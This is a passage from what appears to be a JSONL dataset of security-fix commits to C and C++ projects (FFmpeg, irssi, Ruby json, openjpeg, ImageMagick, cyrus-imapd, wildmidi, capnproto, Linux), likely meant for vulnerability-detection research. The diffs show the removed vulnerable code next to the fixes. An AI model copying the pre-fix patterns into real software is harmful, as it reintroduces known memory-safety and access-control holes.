uint64_t decoded_buffer_size;\n \n /* this should never be negative, but bad things will happen if it is, so\n check it just to make sure. */\n@@ -1467,7 +1468,7 @@ static int ape_decode_frame(AVCodecContext *avctx, void *data,\n skip_bits_long(&s->gb, offset);\n }\n \n- if (!nblocks || nblocks > INT_MAX) {\n+ if (!nblocks || nblocks > INT_MAX / 2 / sizeof(*s->decoded_buffer) - 8) {\n av_log(avctx, AV_LOG_ERROR, \"Invalid sample count: %\"PRIu32\".\\n\",\n nblocks);\n return AVERROR_INVALIDDATA;\n@@ -1493,8 +1494,9 @@ static int ape_decode_frame(AVCodecContext *avctx, void *data,\n blockstodecode = s->samples;\n \n /* reallocate decoded sample buffer if needed */\n- av_fast_malloc(&s->decoded_buffer, &s->decoded_size,\n- 2 * FFALIGN(blockstodecode, 8) * sizeof(*s->decoded_buffer));\n+ decoded_buffer_size = 2LL * FFALIGN(blockstodecode, 8) * sizeof(*s->decoded_buffer);\n+ av_assert0(decoded_buffer_size <= INT_MAX);\n+ av_fast_malloc(&s->decoded_buffer, &s->decoded_size, decoded_buffer_size);\n if (!s->decoded_buffer)\n return AVERROR(ENOMEM);\n memset(s->decoded_buffer, 0, s->decoded_size);", "sections": [{"section": "@@ -1412,6 +1412,7 @@ static int ape_decode_frame(AVCodecContext *avctx, void *data,\n int32_t *sample24;\n int i, ch, ret;\n int blockstodecode;\n+ uint64_t decoded_buffer_size;\n \n /* this should never be negative, but bad things will happen if it is, so\n check it just to make sure. */\n", "related": true}, {"section": "@@ -1467,7 +1468,7 @@ static int ape_decode_frame(AVCodecContext *avctx, void *data,\n skip_bits_long(&s->gb, offset);\n }\n \n- if (!nblocks || nblocks > INT_MAX) {\n+ if (!nblocks || nblocks > INT_MAX / 2 / sizeof(*s->decoded_buffer) - 8) {\n av_log(avctx, AV_LOG_ERROR, \"Invalid sample count: %\"PRIu32\".\\n\",\n nblocks);\n return AVERROR_INVALIDDATA;\n", "related": true}, {"section": "@@ -1493,8 +1494,9 @@ static int ape_decode_frame(AVCodecContext *avctx, void *data,\n blockstodecode = s->samples;\n \n /* reallocate decoded sample buffer if needed */\n- av_fast_malloc(&s->decoded_buffer, &s->decoded_size,\n- 2 * FFALIGN(blockstodecode, 8) * sizeof(*s->decoded_buffer));\n+ decoded_buffer_size = 2LL * FFALIGN(blockstodecode, 8) * sizeof(*s->decoded_buffer);\n+ av_assert0(decoded_buffer_size <= INT_MAX);\n+ av_fast_malloc(&s->decoded_buffer, &s->decoded_size, decoded_buffer_size);\n if (!s->decoded_buffer)\n return AVERROR(ENOMEM);\n memset(s->decoded_buffer, 0, s->decoded_size);", "related": true}]} +{"owner": "irssi", "repo": "irssi", "language": "C", "file_name": "src/core/nicklist.c", "commit_id": "5e26325317c72a04c1610ad952974e206384d291", "commit_message": "Merge branch 'security' into 'master'\n\nSecurity\n\nCloses #10\n\nSee merge request !17", "patch": "@@ -54,23 +54,26 @@ static void nick_hash_add(CHANNEL_REC *channel, NICK_REC *nick)\n \n static void nick_hash_remove(CHANNEL_REC *channel, NICK_REC *nick)\n {\n-\tNICK_REC *list;\n+\tNICK_REC *list, *newlist;\n \n \tlist = g_hash_table_lookup(channel->nicks, nick->nick);\n \tif (list == NULL)\n \t\treturn;\n \n-\tif (list == nick || list->next == NULL) {\n-\t\tg_hash_table_remove(channel->nicks, nick->nick);\n-\t\tif (list->next != NULL) {\n-\t\t\tg_hash_table_insert(channel->nicks, nick->next->nick,\n-\t\t\t\t\t nick->next);\n-\t\t}\n+\tif (list == nick) {\n+\t\tnewlist = nick->next;\n \t} else {\n+\t\tnewlist = list;\n \t\twhile (list->next != nick)\n \t\t\tlist = list->next;\n \t\tlist->next = nick->next;\n \t}\n+\n+\tg_hash_table_remove(channel->nicks, nick->nick);\n+\tif (newlist != NULL) {\n+\t\tg_hash_table_insert(channel->nicks, newlist->nick,\n+\t\t\t\t newlist);\n+\t}\n }\n \n /* Add new nick to list */", "sections": [{"section": "@@ -54,23 +54,26 @@ static void nick_hash_add(CHANNEL_REC *channel, NICK_REC *nick)\n \n static void nick_hash_remove(CHANNEL_REC *channel, NICK_REC *nick)\n {\n-\tNICK_REC *list;\n+\tNICK_REC *list, *newlist;\n \n \tlist = g_hash_table_lookup(channel->nicks, nick->nick);\n \tif (list == NULL)\n \t\treturn;\n \n-\tif (list == nick || list->next == NULL) {\n-\t\tg_hash_table_remove(channel->nicks, nick->nick);\n-\t\tif (list->next != NULL) {\n-\t\t\tg_hash_table_insert(channel->nicks, nick->next->nick,\n-\t\t\t\t\t nick->next);\n-\t\t}\n+\tif (list == nick) {\n+\t\tnewlist = nick->next;\n \t} else {\n+\t\tnewlist = list;\n \t\twhile (list->next != nick)\n \t\t\tlist = list->next;\n \t\tlist->next = nick->next;\n \t}\n+\n+\tg_hash_table_remove(channel->nicks, nick->nick);\n+\tif (newlist != NULL) {\n+\t\tg_hash_table_insert(channel->nicks, newlist->nick,\n+\t\t\t\t newlist);\n+\t}\n }\n \n /* Add new nick to list */", "related": false}]} +{"owner": "flori", "repo": "json", "language": "C", "file_name": "ext/json/ext/generator/generator.c", "commit_id": "8f782fd8e181d9cfe9387ded43a5ca9692266b85", "commit_message": "Fix arbitrary heap exposure problem", "patch": "@@ -308,7 +308,7 @@ static char *fstrndup(const char *ptr, unsigned long len) {\n char *result;\n if (len <= 0) return NULL;\n result = ALLOC_N(char, len);\n- memccpy(result, ptr, 0, len);\n+ memcpy(result, ptr, len);\n return result;\n }\n \n@@ -1062,7 +1062,7 @@ static VALUE cState_indent_set(VALUE self, VALUE indent)\n }\n } else {\n if (state->indent) ruby_xfree(state->indent);\n- state->indent = strdup(RSTRING_PTR(indent));\n+ state->indent = fstrndup(RSTRING_PTR(indent), len);\n state->indent_len = len;\n }\n return Qnil;\n@@ -1100,7 +1100,7 @@ static VALUE cState_space_set(VALUE self, VALUE space)\n }\n } else {\n if (state->space) ruby_xfree(state->space);\n- state->space = strdup(RSTRING_PTR(space));\n+ state->space = fstrndup(RSTRING_PTR(space), len);\n state->space_len = len;\n }\n return Qnil;\n@@ -1136,7 +1136,7 @@ static VALUE cState_space_before_set(VALUE self, VALUE space_before)\n }\n } else {\n if (state->space_before) ruby_xfree(state->space_before);\n- state->space_before = strdup(RSTRING_PTR(space_before));\n+ state->space_before = fstrndup(RSTRING_PTR(space_before), len);\n state->space_before_len = len;\n }\n return Qnil;\n@@ -1173,7 +1173,7 @@ static VALUE cState_object_nl_set(VALUE self, VALUE object_nl)\n }\n } else {\n if (state->object_nl) ruby_xfree(state->object_nl);\n- state->object_nl = strdup(RSTRING_PTR(object_nl));\n+ state->object_nl = fstrndup(RSTRING_PTR(object_nl), len);\n state->object_nl_len = len;\n }\n return Qnil;\n@@ -1208,7 +1208,7 @@ static VALUE cState_array_nl_set(VALUE self, VALUE array_nl)\n }\n } else {\n if (state->array_nl) ruby_xfree(state->array_nl);\n- state->array_nl = strdup(RSTRING_PTR(array_nl));\n+ state->array_nl = fstrndup(RSTRING_PTR(array_nl), len);\n state->array_nl_len = len;\n }\n return Qnil;", "sections": [{"section": "@@ -308,7 +308,7 @@ static char *fstrndup(const char *ptr, unsigned long len) {\n char *result;\n if (len <= 0) return NULL;\n result = ALLOC_N(char, len);\n- memccpy(result, ptr, 0, len);\n+ memcpy(result, ptr, len);\n return result;\n }\n \n", "related": false}, {"section": "@@ -1062,7 +1062,7 @@ static VALUE cState_indent_set(VALUE self, VALUE indent)\n }\n } else {\n if (state->indent) ruby_xfree(state->indent);\n- state->indent = strdup(RSTRING_PTR(indent));\n+ state->indent = fstrndup(RSTRING_PTR(indent), len);\n state->indent_len = len;\n }\n return Qnil;\n", "related": false}, {"section": "@@ -1100,7 +1100,7 @@ static VALUE cState_space_set(VALUE self, VALUE space)\n }\n } else {\n if (state->space) ruby_xfree(state->space);\n- state->space = strdup(RSTRING_PTR(space));\n+ state->space = fstrndup(RSTRING_PTR(space), len);\n state->space_len = len;\n }\n return Qnil;\n", "related": false}, {"section": "@@ -1136,7 +1136,7 @@ static VALUE cState_space_before_set(VALUE self, VALUE space_before)\n }\n } else {\n if (state->space_before) ruby_xfree(state->space_before);\n- state->space_before = strdup(RSTRING_PTR(space_before));\n+ state->space_before = fstrndup(RSTRING_PTR(space_before), len);\n state->space_before_len = len;\n }\n return Qnil;\n", "related": false}, {"section": "@@ -1173,7 +1173,7 @@ static VALUE cState_object_nl_set(VALUE self, VALUE object_nl)\n }\n } else {\n if (state->object_nl) ruby_xfree(state->object_nl);\n- state->object_nl = strdup(RSTRING_PTR(object_nl));\n+ state->object_nl = fstrndup(RSTRING_PTR(object_nl), len);\n state->object_nl_len = len;\n }\n return Qnil;\n", "related": false}, {"section": "@@ -1208,7 +1208,7 @@ static VALUE cState_array_nl_set(VALUE self, VALUE array_nl)\n }\n } else {\n if (state->array_nl) ruby_xfree(state->array_nl);\n- state->array_nl = strdup(RSTRING_PTR(array_nl));\n+ state->array_nl = fstrndup(RSTRING_PTR(array_nl), len);\n state->array_nl_len = len;\n }\n return Qnil;", "related": false}]} +{"owner": "uclouvain", "repo": "openjpeg", "language": "C", "file_name": "src/lib/openjp2/t2.c", "commit_id": "c535531f03369623b9b833ef41952c62257b507e", "commit_message": "opj_t2_encode_packet(): fix potential write heap buffer overflow (#992)", "patch": "@@ -629,6 +629,15 @@ static OPJ_BOOL opj_t2_encode_packet(OPJ_UINT32 tileno,\n \n /* */\n if (tcp->csty & J2K_CP_CSTY_SOP) {\n+ if (length < 6) {\n+ if (p_t2_mode == FINAL_PASS) {\n+ opj_event_msg(p_manager, EVT_ERROR,\n+ \"opj_t2_encode_packet(): only %u bytes remaining in \"\n+ \"output buffer. %u needed.\\n\",\n+ length, 6);\n+ }\n+ return OPJ_FALSE;\n+ }\n c[0] = 255;\n c[1] = 145;\n c[2] = 0;\n@@ -817,6 +826,15 @@ static OPJ_BOOL opj_t2_encode_packet(OPJ_UINT32 tileno,\n \n /* */\n if (tcp->csty & J2K_CP_CSTY_EPH) {\n+ if (length < 2) {\n+ if (p_t2_mode == FINAL_PASS) {\n+ opj_event_msg(p_manager, EVT_ERROR,\n+ \"opj_t2_encode_packet(): only %u bytes remaining in \"\n+ \"output buffer. %u needed.\\n\",\n+ length, 2);\n+ }\n+ return OPJ_FALSE;\n+ }\n c[0] = 255;\n c[1] = 146;\n c += 2;", "sections": [{"section": "@@ -629,6 +629,15 @@ static OPJ_BOOL opj_t2_encode_packet(OPJ_UINT32 tileno,\n \n /* */\n if (tcp->csty & J2K_CP_CSTY_SOP) {\n+ if (length < 6) {\n+ if (p_t2_mode == FINAL_PASS) {\n+ opj_event_msg(p_manager, EVT_ERROR,\n+ \"opj_t2_encode_packet(): only %u bytes remaining in \"\n+ \"output buffer. %u needed.\\n\",\n+ length, 6);\n+ }\n+ return OPJ_FALSE;\n+ }\n c[0] = 255;\n c[1] = 145;\n c[2] = 0;\n", "related": false}, {"section": "@@ -817,6 +826,15 @@ static OPJ_BOOL opj_t2_encode_packet(OPJ_UINT32 tileno,\n \n /* */\n if (tcp->csty & J2K_CP_CSTY_EPH) {\n+ if (length < 2) {\n+ if (p_t2_mode == FINAL_PASS) {\n+ opj_event_msg(p_manager, EVT_ERROR,\n+ \"opj_t2_encode_packet(): only %u bytes remaining in \"\n+ \"output buffer. %u needed.\\n\",\n+ length, 2);\n+ }\n+ return OPJ_FALSE;\n+ }\n c[0] = 255;\n c[1] = 146;\n c += 2;", "related": false}]} +{"owner": "imagemagick", "repo": "imagemagick", "language": "C", "file_name": "coders/mat.c", "commit_id": "e5c063a1007506ba69e97a35effcdef944421c89", "commit_message": "https://github.com/ImageMagick/ImageMagick/issues/598", "patch": "@@ -937,7 +937,8 @@ static Image *ReadMATImage(const ImageInfo *image_info,ExceptionInfo *exception)\n if (strncmp(MATLAB_HDR.identific, \"MATLAB\", 6))\n {\n MATLAB_KO:\n- clone_info=DestroyImageInfo(clone_info);\n+ if (clone_info != (ImageInfo *) NULL)\n+ clone_info=DestroyImageInfo(clone_info);\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n }\n ", "sections": [{"section": "@@ -937,7 +937,8 @@ static Image *ReadMATImage(const ImageInfo *image_info,ExceptionInfo *exception)\n if (strncmp(MATLAB_HDR.identific, \"MATLAB\", 6))\n {\n MATLAB_KO:\n- clone_info=DestroyImageInfo(clone_info);\n+ if (clone_info != (ImageInfo *) NULL)\n+ clone_info=DestroyImageInfo(clone_info);\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n }\n ", "related": false}]} +{"owner": "cyrusimap", "repo": "cyrus-imapd", "language": "C", "file_name": "imap/imapd.c", "commit_id": "53c4137bd924b954432c6c59da7572c4c5ffa901", "commit_message": "imapd: check for isadmin BEFORE parsing sync lines", "patch": "@@ -2062,6 +2062,8 @@ static void cmdloop(void)\n snmp_increment(SCAN_COUNT, 1);\n }\n else if (!strcmp(cmd.s, \"Syncapply\")) {\n+ if (!imapd_userisadmin) goto badcmd;\n+\n struct dlist *kl = sync_parseline(imapd_in);\n \n if (kl) {\n@@ -2071,6 +2073,8 @@ static void cmdloop(void)\n else goto extraargs;\n }\n else if (!strcmp(cmd.s, \"Syncget\")) {\n+ if (!imapd_userisadmin) goto badcmd;\n+\n struct dlist *kl = sync_parseline(imapd_in);\n \n if (kl) {\n@@ -2080,13 +2084,17 @@ static void cmdloop(void)\n else goto extraargs;\n }\n else if (!strcmp(cmd.s, \"Syncrestart\")) {\n+ if (!imapd_userisadmin) goto badcmd;\n+\n if (c == '\\r') c = prot_getc(imapd_in);\n if (c != '\\n') goto extraargs;\n \n /* just clear the GUID cache */\n cmd_syncrestart(tag.s, &reserve_list, 1);\n }\n else if (!strcmp(cmd.s, \"Syncrestore\")) {\n+ if (!imapd_userisadmin) goto badcmd;\n+\n struct dlist *kl = sync_parseline(imapd_in);\n \n if (kl) {", "sections": [{"section": "@@ -2062,6 +2062,8 @@ static void cmdloop(void)\n snmp_increment(SCAN_COUNT, 1);\n }\n else if (!strcmp(cmd.s, \"Syncapply\")) {\n+ if (!imapd_userisadmin) goto badcmd;\n+\n struct dlist *kl = sync_parseline(imapd_in);\n \n if (kl) {\n", "related": false}, {"section": "@@ -2071,6 +2073,8 @@ static void cmdloop(void)\n else goto extraargs;\n }\n else if (!strcmp(cmd.s, \"Syncget\")) {\n+ if (!imapd_userisadmin) goto badcmd;\n+\n struct dlist *kl = sync_parseline(imapd_in);\n \n if (kl) {\n", "related": false}, {"section": "@@ -2080,13 +2084,17 @@ static void cmdloop(void)\n else goto extraargs;\n }\n else if (!strcmp(cmd.s, \"Syncrestart\")) {\n+ if (!imapd_userisadmin) goto badcmd;\n+\n if (c == '\\r') c = prot_getc(imapd_in);\n if (c != '\\n') goto extraargs;\n \n /* just clear the GUID cache */\n cmd_syncrestart(tag.s, &reserve_list, 1);\n }\n else if (!strcmp(cmd.s, \"Syncrestore\")) {\n+ if (!imapd_userisadmin) goto badcmd;\n+\n struct dlist *kl = sync_parseline(imapd_in);\n \n if (kl) {", "related": false}]} +{"owner": "mindwerks", "repo": "wildmidi", "language": "C", "file_name": "src/f_hmi.c", "commit_id": "ad6d7cf88d6673167ca1f517248af9409a9f1be1", "commit_message": "Fix bug #175:\n\nCVE-2017-11661, CVE-2017-11662, CVE-2017-11663, CVE-2017-11664:\nAdd a new size parameter to _WM_SetupMidiEvent() so that it\nknows where to stop reading, and adjust its clients properly.", "patch": "@@ -42,10 +42,10 @@ struct _mdi *\n _WM_ParseNewHmi(uint8_t *hmi_data, uint32_t hmi_size) {\n uint32_t hmi_tmp = 0;\n uint8_t *hmi_base = hmi_data;\n+ uint32_t data_siz;\n uint16_t hmi_bpm = 0;\n uint16_t hmi_division = 0;\n \n-// uint32_t hmi_duration_secs = 0;\n uint32_t hmi_track_cnt = 0;\n uint32_t *hmi_track_offset = NULL;\n uint32_t i = 0;\n@@ -74,8 +74,6 @@ _WM_ParseNewHmi(uint8_t *hmi_data, uint32_t hmi_size) {\n uint8_t channel;\n } *note;\n \n- //FIXME: This needs to be used for sanity check.\n- UNUSED(hmi_size);\n \n if (memcmp(hmi_data, \"HMI-MIDISONG061595\", 18)) {\n _WM_GLOBAL_ERROR(__FUNCTION__, __LINE__, WM_ERR_NOT_HMI, NULL, 0);\n@@ -216,21 +214,35 @@ _WM_ParseNewHmi(uint8_t *hmi_data, uint32_t hmi_size) {\n do {\n hmi_data = hmi_base + hmi_track_offset[i];\n hmi_delta[i] = 0;\n+ if (hmi_track_offset[i] >= hmi_size) {\n+ _WM_GLOBAL_ERROR(__FUNCTION__, __LINE__, WM_ERR_NOT_HMI, \"file too short\", 0);\n+ goto _hmi_end;\n+ }\n+ data_siz = hmi_size - hmi_track_offset[i];\n \n if (hmi_data[0] == 0xfe) {\n // HMI only event of some sort.\n if (hmi_data[1] == 0x10) {\n hmi_tmp = (hmi_data[4] + 5);\n hmi_data += hmi_tmp;\n hmi_track_offset[i] += hmi_tmp;\n+ hmi_tmp += 4;\n } else if (hmi_data[1] == 0x15) {\n hmi_data += 4;\n hmi_track_offset[i] += 4;\n+ hmi_tmp = 8;\n+ } else {\n+ hmi_tmp = 4;\n }\n hmi_data += 4;\n hmi_track_offset[i] += 4;\n+ if (hmi_tmp > data_siz) {\n+ _WM_GLOBAL_ERROR(__FUNCTION__, __LINE__, WM_ERR_NOT_HMI, \"file too short\", 0);\n+ goto _hmi_end;\n+ }\n+ data_siz -= hmi_tmp;\n } else {\n- if ((setup_ret = _WM_SetupMidiEvent(hmi_mdi,hmi_data,hmi_running_event[i])) == 0) {\n+ if ((setup_ret = _WM_SetupMidiEvent(hmi_mdi,hmi_data,data_siz,hmi_running_event[i])) == 0) {\n goto _hmi_end;\n }\n if ((hmi_data[0] == 0xff) && (hmi_data[1] == 0x2f) && (hmi_data[2] == 0x00)) {\n@@ -269,17 +281,25 @@ _WM_ParseNewHmi(uint8_t *hmi_data, uint32_t hmi_size) {\n \n hmi_data += setup_ret;\n hmi_track_offset[i] += setup_ret;\n+ data_siz -= setup_ret;\n \n note[hmi_tmp].length = 0;\n- if (*hmi_data > 0x7f) {\n+ if (data_siz && *hmi_data > 0x7f) {\n do {\n+ if (!data_siz) break;\n note[hmi_tmp].length = (note[hmi_tmp].length << 7) | (*hmi_data & 0x7F);\n hmi_data++;\n+ data_siz--;\n hmi_track_offset[i]++;\n } while (*hmi_data > 0x7F);\n }\n+ if (!data_siz) {\n+ _WM_GLOBAL_ERROR(__FUNCTION__, __LINE__, WM_ERR_NOT_HMI, \"file too short\", 0);\n+ goto _hmi_end;\n+ }\n note[hmi_tmp].length = (note[hmi_tmp].length << 7) | (*hmi_data & 0x7F);\n hmi_data++;\n+ data_siz--;\n hmi_track_offset[i]++;\n \n if (note[hmi_tmp].length) {\n@@ -293,20 +313,28 @@ _WM_ParseNewHmi(uint8_t *hmi_data, uint32_t hmi_size) {\n } else {\n hmi_data += setup_ret;\n hmi_track_offset[i] += setup_ret;\n+ data_siz -= setup_ret;\n }\n }\n \n // get track delta\n // hmi_delta[i] = 0; // set at start of loop\n- if (*hmi_data > 0x7f) {\n+ if (data_siz && *hmi_data > 0x7f) {\n do {\n+ if (!data_siz) break;\n hmi_delta[i] = (hmi_delta[i] << 7) | (*hmi_data & 0x7F);\n hmi_data++;\n+ data_siz--;\n hmi_track_offset[i]++;\n } while (*hmi_data > 0x7F);\n }\n+ if (!data_siz) {\n+ _WM_GLOBAL_ERROR(__FUNCTION__, __LINE__, WM_ERR_NOT_HMI, \"file too short\", 0);\n+ goto _hmi_end;\n+ }\n hmi_delta[i] = (hmi_delta[i] << 7) | (*hmi_data & 0x7F);\n hmi_data++;\n+ data_siz--;\n hmi_track_offset[i]++;\n } while (!hmi_delta[i]);\n if ((!smallest_delta) || (smallest_delta > hmi_delta[i])) {", "sections": [{"section": "@@ -42,10 +42,10 @@ struct _mdi *\n _WM_ParseNewHmi(uint8_t *hmi_data, uint32_t hmi_size) {\n uint32_t hmi_tmp = 0;\n uint8_t *hmi_base = hmi_data;\n+ uint32_t data_siz;\n uint16_t hmi_bpm = 0;\n uint16_t hmi_division = 0;\n \n-// uint32_t hmi_duration_secs = 0;\n uint32_t hmi_track_cnt = 0;\n uint32_t *hmi_track_offset = NULL;\n uint32_t i = 0;\n", "related": false}, {"section": "@@ -74,8 +74,6 @@ _WM_ParseNewHmi(uint8_t *hmi_data, uint32_t hmi_size) {\n uint8_t channel;\n } *note;\n \n- //FIXME: This needs to be used for sanity check.\n- UNUSED(hmi_size);\n \n if (memcmp(hmi_data, \"HMI-MIDISONG061595\", 18)) {\n _WM_GLOBAL_ERROR(__FUNCTION__, __LINE__, WM_ERR_NOT_HMI, NULL, 0);\n", "related": false}, {"section": "@@ -216,21 +214,35 @@ _WM_ParseNewHmi(uint8_t *hmi_data, uint32_t hmi_size) {\n do {\n hmi_data = hmi_base + hmi_track_offset[i];\n hmi_delta[i] = 0;\n+ if (hmi_track_offset[i] >= hmi_size) {\n+ _WM_GLOBAL_ERROR(__FUNCTION__, __LINE__, WM_ERR_NOT_HMI, \"file too short\", 0);\n+ goto _hmi_end;\n+ }\n+ data_siz = hmi_size - hmi_track_offset[i];\n \n if (hmi_data[0] == 0xfe) {\n // HMI only event of some sort.\n if (hmi_data[1] == 0x10) {\n hmi_tmp = (hmi_data[4] + 5);\n hmi_data += hmi_tmp;\n hmi_track_offset[i] += hmi_tmp;\n+ hmi_tmp += 4;\n } else if (hmi_data[1] == 0x15) {\n hmi_data += 4;\n hmi_track_offset[i] += 4;\n+ hmi_tmp = 8;\n+ } else {\n+ hmi_tmp = 4;\n }\n hmi_data += 4;\n hmi_track_offset[i] += 4;\n+ if (hmi_tmp > data_siz) {\n+ _WM_GLOBAL_ERROR(__FUNCTION__, __LINE__, WM_ERR_NOT_HMI, \"file too short\", 0);\n+ goto _hmi_end;\n+ }\n+ data_siz -= hmi_tmp;\n } else {\n- if ((setup_ret = _WM_SetupMidiEvent(hmi_mdi,hmi_data,hmi_running_event[i])) == 0) {\n+ if ((setup_ret = _WM_SetupMidiEvent(hmi_mdi,hmi_data,data_siz,hmi_running_event[i])) == 0) {\n goto _hmi_end;\n }\n if ((hmi_data[0] == 0xff) && (hmi_data[1] == 0x2f) && (hmi_data[2] == 0x00)) {\n", "related": false}, {"section": "@@ -269,17 +281,25 @@ _WM_ParseNewHmi(uint8_t *hmi_data, uint32_t hmi_size) {\n \n hmi_data += setup_ret;\n hmi_track_offset[i] += setup_ret;\n+ data_siz -= setup_ret;\n \n note[hmi_tmp].length = 0;\n- if (*hmi_data > 0x7f) {\n+ if (data_siz && *hmi_data > 0x7f) {\n do {\n+ if (!data_siz) break;\n note[hmi_tmp].length = (note[hmi_tmp].length << 7) | (*hmi_data & 0x7F);\n hmi_data++;\n+ data_siz--;\n hmi_track_offset[i]++;\n } while (*hmi_data > 0x7F);\n }\n+ if (!data_siz) {\n+ _WM_GLOBAL_ERROR(__FUNCTION__, __LINE__, WM_ERR_NOT_HMI, \"file too short\", 0);\n+ goto _hmi_end;\n+ }\n note[hmi_tmp].length = (note[hmi_tmp].length << 7) | (*hmi_data & 0x7F);\n hmi_data++;\n+ data_siz--;\n hmi_track_offset[i]++;\n \n if (note[hmi_tmp].length) {\n", "related": false}, {"section": "@@ -293,20 +313,28 @@ _WM_ParseNewHmi(uint8_t *hmi_data, uint32_t hmi_size) {\n } else {\n hmi_data += setup_ret;\n hmi_track_offset[i] += setup_ret;\n+ data_siz -= setup_ret;\n }\n }\n \n // get track delta\n // hmi_delta[i] = 0; // set at start of loop\n- if (*hmi_data > 0x7f) {\n+ if (data_siz && *hmi_data > 0x7f) {\n do {\n+ if (!data_siz) break;\n hmi_delta[i] = (hmi_delta[i] << 7) | (*hmi_data & 0x7F);\n hmi_data++;\n+ data_siz--;\n hmi_track_offset[i]++;\n } while (*hmi_data > 0x7F);\n }\n+ if (!data_siz) {\n+ _WM_GLOBAL_ERROR(__FUNCTION__, __LINE__, WM_ERR_NOT_HMI, \"file too short\", 0);\n+ goto _hmi_end;\n+ }\n hmi_delta[i] = (hmi_delta[i] << 7) | (*hmi_data & 0x7F);\n hmi_data++;\n+ data_siz--;\n hmi_track_offset[i]++;\n } while (!hmi_delta[i]);\n if ((!smallest_delta) || (smallest_delta > hmi_delta[i])) {", "related": false}]} +{"owner": "capnproto", "repo": "capnproto", "language": "C++", "file_name": "c++/src/capnp/encoding-test.c++", "commit_id": "104870608fde3c698483fdef6b97f093fc15685d", "commit_message": "SECURITY: CPU usage amplification attack.\n\nDetails: https://github.com/sandstorm-io/capnproto/tree/master/security-advisories/2014-03-02-0-all-cpu-amplification.md", "patch": "@@ -1410,6 +1410,36 @@ TEST(Encoding, Has) {\n EXPECT_TRUE(root.asReader().hasInt32List());\n }\n \n+TEST(Encoding, VoidListAmplification) {\n+ MallocMessageBuilder builder;\n+ builder.initRoot().getAnyPointerField().initAs>(1u << 28);\n+\n+ auto segments = builder.getSegmentsForOutput();\n+ EXPECT_EQ(1, segments.size());\n+ EXPECT_LT(segments[0].size(), 16); // quite small for such a big list!\n+\n+ SegmentArrayMessageReader reader(builder.getSegmentsForOutput());\n+ auto root = reader.getRoot().getAnyPointerField();\n+ EXPECT_NONFATAL_FAILURE(root.getAs>());\n+\n+ MallocMessageBuilder copy;\n+ EXPECT_NONFATAL_FAILURE(copy.setRoot(reader.getRoot()));\n+}\n+\n+TEST(Encoding, EmptyStructListAmplification) {\n+ MallocMessageBuilder builder;\n+ builder.initRoot().getAnyPointerField()\n+ .initAs>(1u << 28);\n+\n+ auto segments = builder.getSegmentsForOutput();\n+ EXPECT_EQ(1, segments.size());\n+ EXPECT_LT(segments[0].size(), 16); // quite small for such a big list!\n+\n+ SegmentArrayMessageReader reader(builder.getSegmentsForOutput());\n+ auto root = reader.getRoot().getAnyPointerField();\n+ EXPECT_NONFATAL_FAILURE(root.getAs>());\n+}\n+\n TEST(Encoding, Constants) {\n EXPECT_EQ(VOID, test::TestConstants::VOID_CONST);\n EXPECT_EQ(true, test::TestConstants::BOOL_CONST);", "sections": [{"section": "@@ -1410,6 +1410,36 @@ TEST(Encoding, Has) {\n EXPECT_TRUE(root.asReader().hasInt32List());\n }\n \n+TEST(Encoding, VoidListAmplification) {\n+ MallocMessageBuilder builder;\n+ builder.initRoot().getAnyPointerField().initAs>(1u << 28);\n+\n+ auto segments = builder.getSegmentsForOutput();\n+ EXPECT_EQ(1, segments.size());\n+ EXPECT_LT(segments[0].size(), 16); // quite small for such a big list!\n+\n+ SegmentArrayMessageReader reader(builder.getSegmentsForOutput());\n+ auto root = reader.getRoot().getAnyPointerField();\n+ EXPECT_NONFATAL_FAILURE(root.getAs>());\n+\n+ MallocMessageBuilder copy;\n+ EXPECT_NONFATAL_FAILURE(copy.setRoot(reader.getRoot()));\n+}\n+\n+TEST(Encoding, EmptyStructListAmplification) {\n+ MallocMessageBuilder builder;\n+ builder.initRoot().getAnyPointerField()\n+ .initAs>(1u << 28);\n+\n+ auto segments = builder.getSegmentsForOutput();\n+ EXPECT_EQ(1, segments.size());\n+ EXPECT_LT(segments[0].size(), 16); // quite small for such a big list!\n+\n+ SegmentArrayMessageReader reader(builder.getSegmentsForOutput());\n+ auto root = reader.getRoot().getAnyPointerField();\n+ EXPECT_NONFATAL_FAILURE(root.getAs>());\n+}\n+\n TEST(Encoding, Constants) {\n EXPECT_EQ(VOID, test::TestConstants::VOID_CONST);\n EXPECT_EQ(true, test::TestConstants::BOOL_CONST);", "related": false}]} +{"owner": "imagemagick", "repo": "imagemagick", "language": "C", "file_name": "coders/pcx.c", "commit_id": "2ba8f335fa06daf1165e0878462686028e633a74", "commit_message": "https://github.com/ImageMagick/ImageMagick/issues/575", "patch": "@@ -1007,7 +1007,10 @@ static MagickBooleanType WritePCXImage(const ImageInfo *image_info,Image *image,\n length=(size_t) pcx_info.bytes_per_line;\n pixel_info=AcquireVirtualMemory(length,pcx_info.planes*sizeof(*pixels));\n if (pixel_info == (MemoryInfo *) NULL)\n- ThrowWriterException(ResourceLimitError,\"MemoryAllocationFailed\");\n+ {\n+ pcx_colormap=(unsigned char *) RelinquishMagickMemory(pcx_colormap);\n+ ThrowWriterException(ResourceLimitError,\"MemoryAllocationFailed\");\n+ }\n pixels=(unsigned char *) GetVirtualMemoryBlob(pixel_info);\n q=pixels;\n if ((image->storage_class == DirectClass) || (image->colors > 256))", "sections": [{"section": "@@ -1007,7 +1007,10 @@ static MagickBooleanType WritePCXImage(const ImageInfo *image_info,Image *image,\n length=(size_t) pcx_info.bytes_per_line;\n pixel_info=AcquireVirtualMemory(length,pcx_info.planes*sizeof(*pixels));\n if (pixel_info == (MemoryInfo *) NULL)\n- ThrowWriterException(ResourceLimitError,\"MemoryAllocationFailed\");\n+ {\n+ pcx_colormap=(unsigned char *) RelinquishMagickMemory(pcx_colormap);\n+ ThrowWriterException(ResourceLimitError,\"MemoryAllocationFailed\");\n+ }\n pixels=(unsigned char *) GetVirtualMemoryBlob(pixel_info);\n q=pixels;\n if ((image->storage_class == DirectClass) || (image->colors > 256))", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "include/asm-ia64/ptrace.h", "commit_id": "4dcc29e1574d88f4465ba865ed82800032f76418", "commit_message": "[IA64] Workaround for RSE issue\n\nProblem: An application violating the architectural rules regarding\noperation dependencies and having specific Register Stack Engine (RSE)\nstate at the time of the violation, may result in an illegal operation\nfault and invalid RSE state. Such faults may initiate a cascade of\nrepeated illegal operation faults within OS interruption handlers.\nThe specific behavior is OS dependent.\n\nImplication: An application causing an illegal operation fault with\nspecific RSE state may result in a series of illegal operation faults\nand an eventual OS stack overflow condition.\n\nWorkaround: OS interruption handlers that switch to kernel 